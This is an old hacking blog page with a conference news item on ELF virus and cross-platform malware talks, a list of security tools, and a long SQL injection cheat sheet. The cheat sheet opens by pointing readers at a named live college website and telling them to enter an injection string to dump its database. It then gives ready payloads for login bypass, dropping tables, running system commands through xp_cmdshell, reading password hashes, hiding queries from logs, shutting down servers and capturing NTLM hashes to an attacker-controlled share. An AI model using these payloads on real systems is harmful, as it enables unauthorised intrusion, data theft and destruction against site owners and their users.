Latest entries

Thursday, January 10, 2013

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group

Monday, July 23, 2012


 The Biggest Hacking Mania has arrived - 'The Hackers Conference 2012'.  In this first of its kind conference in India, Blackhat hackers drawn from around the world will demonstrate how they access a victim's personal information, and even confidential data available on the Android cell phone. The conference will be held on July 29 at the India Habitat Centre in New Delhi.

The use of Linux as an operating system is increasing rapidly, thanks partly topopular distributions such as ‘RedHat’ and ‘Suse’. So far, there are very few Linuxfile infectors and they do not pose a big threat yet. However, with more desktopsrunning Linux, and probably more Linux viruses, the Linux virus situation couldbecome a bigger problem.

17 years old hacker,Aneesh Dogra will talk on "How to make a Linux ELF Virus (That works on your latest linux distribution)" at 'The Hackers Conference 2012' . Linux or Unix has the reputation of being "not so buggy", and of being a good maintainer of system sanctity via good protection mechanisms.

This talk will be focused on How to make a simple ELF virus in Linux. A virus is a program that infects other programs stored on permanent media. Usually this means to copy the executable code of the virus into another file. Other possible targets are boot sectors and programmable ROMs. 

The Executable and Linking Format (ELF) is meant to provide developers with a set of binary interface definitions that extend across multiple platforms. ELF is indeed used on several platforms, and is flexible enough to be manipulated creatively, as demonstrated by many. A virus could attach viral code to an ELF file, and re-route control-flow so as to include the viral code during execution.

Aneesh said,"We'll be starting with a basic idea of a Prepernder and using that we'll create a Virus which actually works on your latest linux distribution. There will a demonstration showing how this virus infects different files on the system, and How it can be dangerous."

The Hackers Conference 2012 is expected to be the first open gathering of Blackhat hackers in India who will debate latest security issues with the top itelligence echolons in India.

ChallenGe Security Team, which includes Sina Hatef Matbue, Farhad Miria and Arash Shirkhorshidifrom Iran will deliberate on the topic "GraVitoN: Cross Platform Malware". GraViton, they claim aspires to become an artificial creature which can move between world of windows, world of apples, and world of emperor penguins, etc., and remain stealth. “We believe as this project grows, security professionals will have a better and deeper understanding of how viruses, trojans, etc work, so they can fight and protect themselves against those, and they can even create 'white viruses', to spread and fight against malicious viruses, effectively,” the press release informed.
                                                                                                  By http://thehackernews.com

Wednesday, December 28, 2011

1. Nmap

Nmap  is a free open source utility for network exploration or security auditing. Its design to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

Get Nmap Here




2. Nessus Remote Security Scanner

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

Get Nessus Here



3. John the Ripper

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches. 

Click here to get JTR


4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated. 
Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

Get Nikto Here 


5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.
If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

Get SuperScan Here


6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:
– machines that connect to your box (SYN mode),
– machines you connect to (SYN+ACK mode),
– machine you cannot connect to (RST+ mode),
– machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANYactive connections to the target machine.

Get p0f Here


7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.
Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

Get Wireshark Here

8. Yersinia


Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).
The best Layer 2 kit there is.

Get Yersinia Here


9. Eraser

Eraser is an advanced security tool, which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.
An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.

Get Eraser Here.


10. PuTTY

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4x0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.

Get PuTTY Here.


11. LCP

Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.
A good free alternative to L0phtcrack.

Get LCP Here 

12. Cain and Abel

My personal favorite for password cracking of any kind.
Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

Get Cain and Abel Here


13. Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring  mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.
A good wireless tool as long as your card supports rfmon (look for an orinocco gold).

Get Kismet Here


14. NetStumbler

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

  • Verify that your network is set up the way you intended.
  • Find locations with poor coverage in your WLAN.
  • Detect other networks that may be causing interference on your network.
  • Detect unauthorized “rogue” access points in your workplace.
  • Help aim directional antennas for long-haul WLAN links.
  • Use it recreationally for WarDriving.

Get NetStumbler Here


15. hping

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

Get hping Here

Thursday, December 15, 2011

sql injection hacks Most common injection : ' OR ''='



Live example

click

http://fsmdc.fsm.ac.in/pgdmresult.asp



now enter


' OR ''='



n watch it vomit d database..

i myself gave d CAT dis year n found almost 8 out of 10 Indian MBA college sites are vulnerable.



watch full description below.



regards

Rahul Dutt Avasthy

Cyber Security Consultant


SYNTAX REFERENCE, SAMPLE ATTACKS AND DIRTY SQL INJECTION TRICKS

Ending / Commenting Out / Line Comments

Line Comments Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
  • -- (SM)

    DROP sampletable;--


  • # (M)

    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

    This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members


  • /*! MYSQL Special SQL */ (M)

    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.



    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*

    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --


  • SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10

    You will get the same response if MySQL version is higher than 3.23.02


  • SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
  • ; (S)

    SELECT * FROM members; DROP members--
Ends a query and starts a new one. Language / Database Stacked Query Support Table green: supported, dark gray: not supported, light gray: unknown

SQL ServerMySQLPostgreSQLORACLEMS Access
ASP




ASP.NET




PHP




Java




About MySQL and PHP;

To clarify some issues;

PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify? Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately. MySQL If Statement
  • IF(condition,true-part,false-part) (M)

    SELECT IF(1=1,'true','false')
SQL Server If Statement
  • IF condition true-part ELSE false-part (S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
  • 0xHEXNUMBER (SM)

    You can write hex like these;



    SELECT CHAR(0x66) (S)

    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)

    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database. String Concatenation
  • + (S)

    SELECT login + '-' + password FROM members


  • || (*MO)

    SELECT login || '-' || password FROM members
*About MySQL "||";

If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
  • CONCAT(str1, str2, str3, ...) (M)

    Concatenate supplied strings.

    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
  • 0x457578 (M) - Hex Representation of string

    SELECT 0x457578

    This will be selected as string in MySQL.



    In MySQL easy way to generate hex representations of strings use this;

    SELECT CONCAT('0x',HEX('c:\\boot.ini'))


  • Using CONCAT() in MySQL

    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

    This will return ‘KLM’.


  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

    This will return ‘KLM’.
Hex based SQL Injection Samples
  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)

    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.



    SELECT ASCII('a')


  • CHAR() (SM)

    Convert an integer of ASCII.



    SELECT CHAR(64)

UNION INJECTIONS

With union you do SQL queries cross-table. Basically you can poison query to return records from another table. SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

This will combine results from both news table and members table and return all of them. Another Example :

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
  • SQL Server (S)

    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.



    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members


  • MySQL (M)

    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)

    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Bypassing MD5 Hash Check Example (MSP) Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S) In the same order,
  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+) Finding column number by ORDER BY can speed up the UNION SQL Injection process.
  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,
  • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
  • ' union select sum(columntofind) from users-- (S)

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.



    If you are not getting error it means column is numeric.


  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--


  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-

    No Error - Syntax is right. MS SQL Server Used. Proceeding.


  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-

    No Error – First column is an integer.


  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

    Error! – Second column is not an integer.


  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

    No Error – Second column is a string.


  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

    Error! – Third column is not an integer. ...



    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)

Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10) Bulk Insert (S) Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.
BCP (S) Write text file. Login Credentials are required to use this function. 

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar VBS, WSH in SQL Server (S) You can use VBS, WSH scripting in SQL Server because of ActiveX support. declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S) Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access. EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it), EXEC master.dbo.xp_cmdshell 'ping ' You can not read results directly from error or union or something else. Some Special Tables in SQL Server (S)
  • Error Messages

    master..sysmessages


  • Linked Servers

    master..sysservers


  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )

    SQL Server 2000: masters..sysxlogins

    SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
  1. Cmd Execute (xp_cmdshell)

    exec master..xp_cmdshell 'dir'


  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite

      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'


  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)

    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’

    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0 HOST_NAME()

IS_MEMBER (Transact-SQL)

IS_SRVROLEMEMBER (Transact-SQL)

OPENDATASOURCE (Transact-SQL) INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG" OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx You can not use sub selects in SQL Server Insert queries. SQL Injection in LIMIT (M) or ORDER (MSO) SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ; If injection is in second limit you can comment it out or use in your union injection Shutdown SQL Server (S) When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these. EXEC sp_configure 'show advanced options',1

RECONFIGURE EXEC sp_configure 'xp_cmdshell',1

RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables SELECT name FROM sysobjects WHERE xtype = 'U' Getting Column Names SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,

    ... WHERE users NOT IN ('First User', 'Second User')

    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one


  • Using Dirty Tricks

    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int



    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

BLIND SQL INJECTIONS

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections. Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code

Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though. In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE. Real and a bit Complex Blind SQL Injection Attack Sample This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. TRUE and FALSE flags mark queries returned true or false. TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-->Waiting For Blind SQL Injections First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout. WAIT FOR DELAY 'time' (S) This is just like sleep, wait for spesified time. CPU safe way to make database wait. WAITFOR DELAY '0:0:10'-- Also you can use fractions like this, WAITFOR DELAY '0:0:0.51' Real World Samples
  • Are we 'sa' ?

    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M) Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast! BENCHMARK(howmanytimes, do this) Real World Samples
  • Are we root ? woot!

    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))


  • Check Table exist in MySQL

    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P) Sleep for supplied seconds.
  • SELECT pg_sleep(10);

    Sleep 10 seconds.

COVERING TRACKS

SQL Server -sp_password log bypass (S) SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

CLEAR SQL INJECTION TESTS

These tests are simply good for blind sql injection and silent attacks.
  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1


  2. product.asp?name=Book
    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

SOME EXTRA MYSQL NOTES

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data inifile

    • By default it’s not avaliable !
      • create table foo( line blob );

        load data infile 'c:/boot.ini' into table foo;

        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );

    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
  • MD5()

    MD5 Hashing
  • SHA1()

    SHA1 Hashing


  • PASSWORD()
  • ENCODE()
  • COMPRESS()

    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()

    Same as @@version

SECOND ORDER SQL INJECTIONS

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. Name : ' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel. Bulk insert from a UNC Share (S)

bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Basics.



SELECT * FROM login /* foobar */

